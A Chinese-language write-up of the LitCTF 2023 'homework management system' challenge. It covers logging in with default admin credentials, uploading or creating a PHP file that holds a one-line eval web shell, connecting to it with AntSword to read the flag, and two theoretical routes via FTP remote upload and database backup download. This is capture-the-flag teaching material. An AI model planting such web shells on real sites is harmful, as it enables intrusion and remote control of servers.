[LitCTF 2023]作业管理系统
信息搜集
进来发现要登录:

但是别着急,先查看源码或者抓个包:

可以看到源码中给出了提示:默认账户admin admin 。
账户名:admin,密码:admin,成功登录。
注入点
本题的注入点很多,进入页面,首先就能看到一个上传文件和创建文件:

注入点一:文件上传
上传一个名为 eval.php 的文件,文件内容为:
BM
<?php @eval($_POST['shell']);?>
发现没有做任何过滤,直接上传成功了:

蚁剑直接连:

最后在根目录下找到 flag 。
注入点二:创建文件直接写马
文件名:shell.php

创建文件后选择编辑文件,写入一句话木马并保存:

蚁剑直接连:

注入点三:ftp 远程文件上传
这个注入点只是理论上,因为本人没有实践过。
首先需要一台能被公网访问的服务器,搭建好 ftp 服务,注意做好安全防护,比如禁止匿名登录啥的。
然后在 FTP 地址一栏填入自己服务器的 IP ,端口为 21 。用户名和密码填入自己设置的 ftp 用户名和密码。
点击远程上传,理论上可以得到这个上传的 zip 文件,估计是源码。
(理论,勿喷,不当请指出)

注入点四:获取数据库备份文件
这个也是理论上可行,但是可能是因为环境问题而报错了,所以最后讲。
将想要获取的数据库名称写上去,然后下面来个万能密码或者弱密码爆破(假设能成功的话进入下一步)。
点击备份,然后在网站根目录访问 mysql.zip 就可以下载了。

但是我这里在点击备份的时候报错:

所以没办法下一步了。